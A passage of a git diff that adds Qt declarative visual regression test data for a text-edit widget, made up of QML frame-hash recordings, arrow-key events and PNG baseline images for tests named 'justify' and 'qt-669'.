+ hash: "d3be942cfb93c4a5d5aa906410125d02"
+ }
+ Frame {
+ msec: 4000
+ hash: "b742ebe441dde1f30dab6d19954a9e8c"
+ }
+ Frame {
+ msec: 4016
+ hash: "bbe3a292c59e2f7ae6b8877f6736c96e"
+ }
+ Frame {
+ msec: 4032
+ hash: "b742ebe441dde1f30dab6d19954a9e8c"
+ }
+ Frame {
+ msec: 4048
+ hash: "d3be942cfb93c4a5d5aa906410125d02"
+ }
+ Frame {
+ msec: 4064
+ hash: "062574e74354b104db2ee6d3c3af5802"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "575dd420067e4ebe5733eb4e35a447ab"
+ }
+ Frame {
+ msec: 4096
+ hash: "4213f35c4cd233a08d98ba0380b7ab0a"
+ }
+ Frame {
+ msec: 4112
+ hash: "505e740aacf4ca7e6ad24367ddad8678"
+ }
+ Frame {
+ msec: 4128
+ hash: "007e76fb247e11a442802c7cfb4e6a24"
+ }
+ Frame {
+ msec: 4144
+ hash: "5cf6cb0afffb791da1c4d0fe00cf6326"
+ }
+ Frame {
+ msec: 4160
+ hash: "aff4097bd39c87c5d1459d99f314dade"
+ }
+ Frame {
+ msec: 4176
+ hash: "009dc0c6ff28333ac2fdfa3d79ad2fd6"
+ }
+ Frame {
+ msec: 4192
+ hash: "4bf8e82220ea0d0c4298d5374e149de2"
+ }
+ Frame {
+ msec: 4208
+ hash: "938a6eea45c4412e847a8700172d80ac"
+ }
+ Frame {
+ msec: 4224
+ hash: "6502416042993d05dd514119512ed61f"
+ }
+ Frame {
+ msec: 4240
+ hash: "5d6702b9475e69bda2ed38f6e2d583d9"
+ }
+ Frame {
+ msec: 4256
+ hash: "8e5fdc8e6cc38089d1e8ff5e91a5c894"
+ }
+ Frame {
+ msec: 4272
+ hash: "c0249d07bcf25af69bf929b4d5ac00a3"
+ }
+ Frame {
+ msec: 4288
+ hash: "efe333c2b8cccea0bd7135484049db06"
+ }
+ Frame {
+ msec: 4304
+ hash: "57e49e9094691a204f7507b0231352b3"
+ }
+ Frame {
+ msec: 4320
+ hash: "d0a45bd3cfc5e4e6f9a48534c768daba"
+ }
+ Frame {
+ msec: 4336
+ hash: "6960ab817c67a61af31cc187efe65016"
+ }
+ Frame {
+ msec: 4352
+ hash: "3b0d483ff765f36a196411967b6dfd70"
+ }
+ Frame {
+ msec: 4368
+ hash: "559713749d65246b185c0c91eb7ad39e"
+ }
+ Frame {
+ msec: 4384
+ hash: "9aea32722fd4f8b0cde3c06c61cecde6"
+ }
+ Frame {
+ msec: 4400
+ hash: "25dfa32ce92b6044f5ea68411ab5de5b"
+ }
+ Frame {
+ msec: 4416
+ hash: "dab689ed2bbe663df309548e615e8621"
+ }
+ Frame {
+ msec: 4432
+ hash: "26ad44cef380ff9f64c12180fb54c695"
+ }
+ Frame {
+ msec: 4448
+ hash: "5e8bbcd46b5692e66963387b80971e90"
+ }
+ Frame {
+ msec: 4464
+ hash: "747df5357daa951fbedeadf909f9dbf3"
+ }
+ Frame {
+ msec: 4480
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4496
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4512
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4528
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4544
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4560
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4576
+ hash: "1568d4b93d2a284c46f23a0cb17acc24"
+ }
+ Frame {
+ msec: 4592
+ hash: "0665a6cfc09981cd8a7ffd0d02e6fbdc"
+ }
+ Frame {
+ msec: 4608
+ hash: "49892aa44c8e3584239d245a7ca98af3"
+ }
+ Frame {
+ msec: 4624
+ hash: "c9def393bb5d6c447c45b127d32b5e50"
+ }
+ Frame {
+ msec: 4640
+ hash: "679d94007b33197ce7decb4df6e8343c"
+ }
+ Frame {
+ msec: 4656
+ hash: "817987bcd9f1147ba047333b42ed289d"
+ }
+ Frame {
+ msec: 4672
+ hash: "fdd9331015c289b8e33b094999b11dce"
+ }
+ Frame {
+ msec: 4688
+ hash: "e4fa13ba2770c0d390945ee4505fea9b"
+ }
+ Frame {
+ msec: 4704
+ hash: "69965c88d2273acf680af243610efcf3"
+ }
+ Frame {
+ msec: 4720
+ hash: "6cbeb6787a0a7fb7f654f877e41eed57"
+ }
+ Frame {
+ msec: 4736
+ hash: "e7528c074b3c65afe3873a3cdf96f041"
+ }
+ Frame {
+ msec: 4752
+ hash: "c06c72abe46087f0db87a84fdcbcf601"
+ }
+ Frame {
+ msec: 4768
+ hash: "b6840f1d7cf2caed17d763b782553071"
+ }
+ Frame {
+ msec: 4784
+ hash: "71fdb77c4133f37180d581e4b1fe9c83"
+ }
+ Frame {
+ msec: 4800
+ hash: "f5e2075ed86f146e0162ae4f0a9c6b90"
+ }
+ Frame {
+ msec: 4816
+ image: "cursorDelegate.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "28c8003699352c3c9563556939d49cd8"
+ }
+ Frame {
+ msec: 4848
+ hash: "15ab751c8463326c870dc9ee1af3c1d7"
+ }
+ Frame {
+ msec: 4864
+ hash: "b745b2aee5ec623163ea22614b8ab54b"
+ }
+ Frame {
+ msec: 4880
+ hash: "b3f3b8e325dcd56b696eab7228c3db09"
+ }
+ Frame {
+ msec: 4896
+ hash: "12ba65e0f70a670b2832235391d3ed05"
+ }
+ Frame {
+ msec: 4912
+ hash: "9dfac03113b662a63bddcac9c7ae8f64"
+ }
+ Frame {
+ msec: 4928
+ hash: "085bbc44102ae0d1d62531f6b6dbda98"
+ }
+ Frame {
+ msec: 4944
+ hash: "007887862e2234f4c308778ecac5e16b"
+ }
+ Frame {
+ msec: 4960
+ hash: "61e8e34755db1fb99b44830676ad95ad"
+ }
+ Frame {
+ msec: 4976
+ hash: "48c8b1b0d549f7b6d85a81803b9fe31d"
+ }
+ Frame {
+ msec: 4992
+ hash: "834cf51445f88394e33a3f3f0a5569f4"
+ }
+ Frame {
+ msec: 5008
+ hash: "a43224f77583bb7235895506f49daee6"
+ }
+ Frame {
+ msec: 5024
+ hash: "a43224f77583bb7235895506f49daee6"
+ }
+ Frame {
+ msec: 5040
+ hash: "834cf51445f88394e33a3f3f0a5569f4"
+ }
+ Frame {
+ msec: 5056
+ hash: "48c8b1b0d549f7b6d85a81803b9fe31d"
+ }
+ Frame {
+ msec: 5072
+ hash: "61e8e34755db1fb99b44830676ad95ad"
+ }
+ Frame {
+ msec: 5088
+ hash: "007887862e2234f4c308778ecac5e16b"
+ }
+ Frame {
+ msec: 5104
+ hash: "085bbc44102ae0d1d62531f6b6dbda98"
+ }
+ Frame {
+ msec: 5120
+ hash: "9dfac03113b662a63bddcac9c7ae8f64"
+ }
+ Frame {
+ msec: 5136
+ hash: "12ba65e0f70a670b2832235391d3ed05"
+ }
+ Frame {
+ msec: 5152
+ hash: "b3f3b8e325dcd56b696eab7228c3db09"
+ }
+ Frame {
+ msec: 5168
+ hash: "b745b2aee5ec623163ea22614b8ab54b"
+ }
+ Frame {
+ msec: 5184
+ hash: "15ab751c8463326c870dc9ee1af3c1d7"
+ }
+ Frame {
+ msec: 5200
+ hash: "28c8003699352c3c9563556939d49cd8"
+ }
+ Frame {
+ msec: 5216
+ hash: "5e76b741f49bd279b9f62ae3f474e5b5"
+ }
+ Frame {
+ msec: 5232
+ hash: "f5e2075ed86f146e0162ae4f0a9c6b90"
+ }
+ Frame {
+ msec: 5248
+ hash: "71fdb77c4133f37180d581e4b1fe9c83"
+ }
+ Frame {
+ msec: 5264
+ hash: "b6840f1d7cf2caed17d763b782553071"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
new file mode 100644
index 00000000..74c6934c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
new file mode 100644
index 00000000..e4dbeb1b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "justify.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png
new file mode 100644
index 00000000..852fc66a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png
new file mode 100644
index 00000000..4b283d01
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png
new file mode 100644
index 00000000..342fe056
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png
new file mode 100644
index 00000000..fb4a774c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.4.png
new file mode 100644
index 00000000..852fc66a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml
new file mode 100644
index 00000000..d7b26cb3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml
@@ -0,0 +1,1371 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qt-669.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 48
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 64
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 80
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 96
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 112
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 128
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 144
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 160
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 176
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 192
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 208
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 224
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 240
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 256
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 272
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 288
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 304
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 320
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 336
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 352
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 368
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 384
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 400
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 416
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 432
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 464
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 480
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 496
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 512
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 528
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 560
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 576
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 592
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 608
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 624
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 640
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 656
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 672
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 704
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 720
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 736
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 752
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 768
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 784
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 800
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 816
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 832
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 848
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 864
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 880
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 896
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 912
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 928
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 944
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 960
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 976
+ image: "qt-669.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 1008
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1024
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 1040
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 1056
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 1072
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 1088
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1104
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1120
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1136
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1152
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1168
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1184
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1200
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 1216
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1232
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1248
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1264
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1280
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1312
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1328
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 1344
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1376
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1392
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1408
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1424
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1440
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1456
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1472
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1488
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1520
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1536
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1552
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1568
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1584
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1600
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1616
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1632
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1648
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1664
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1680
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1696
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1712
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1728
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1744
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1760
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1776
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1792
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1808
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1824
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Frame {
+ msec: 1840
+ hash: "389d0ac399e709482600181b4869be43"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1856
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1872
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1888
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1904
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1920
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1936
+ image: "qt-669.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1968
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 1984
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2000
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 2016
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 2032
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 2048
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Frame {
+ msec: 2064
+ hash: "9ec7c9965d3ce810553b1182b746d148"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2096
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2112
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2128
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2144
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2176
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2192
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2208
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Frame {
+ msec: 2224
+ hash: "fca9d1748195f0d4388694baf901c498"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 2256
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2272
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 2288
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 2304
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 2320
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Frame {
+ msec: 2336
+ hash: "f531e8dd89482e3d7c501d0b3a8b3392"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2368
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2384
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2416
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2432
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2448
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2464
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2480
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2496
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2512
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2528
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2544
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2560
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2576
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Frame {
+ msec: 2592
+ hash: "a719560bf7912aa6cf4e8e5bfc13cb06"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2624
